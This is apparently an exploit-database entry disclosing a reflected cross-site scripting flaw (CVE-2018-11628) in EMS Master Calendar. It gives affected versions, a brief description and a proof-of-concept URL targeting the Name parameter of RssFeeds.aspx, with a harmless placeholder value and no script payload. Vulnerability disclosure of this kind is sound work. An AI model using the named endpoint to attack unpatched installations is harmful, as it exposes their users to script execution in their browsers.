# Exploit Title: EMS Master Calendar < 8.0.0.20180520 - Reflected Cross-Site Scripting # Date: 2018-06-01 # Exploit Author: Chris Barretto # Vendor Homepage: https://www.emssoftware.com/ # Software Link: https://docs.emssoftware.com/Content/V44.1_ReleaseNotes.htm # Version: Versions prior to 8.0.0.201805210 are vulnerable # Tested on: Master Calendar v8.0.0.127 # CVE : CVE-2018-11628 # 1. Description: # Data input into EMS Master Calendar before 8.0.0.201805210 via URL parameters are not properly sanitized, # allowing malicious attackers to send a crafted URL and execute code in the context of the user's browser. #2. Proof of concept: # The following PoC URL is available: https://example.com/MasterCalendar/RssFeeds.aspx?Name=abcxyz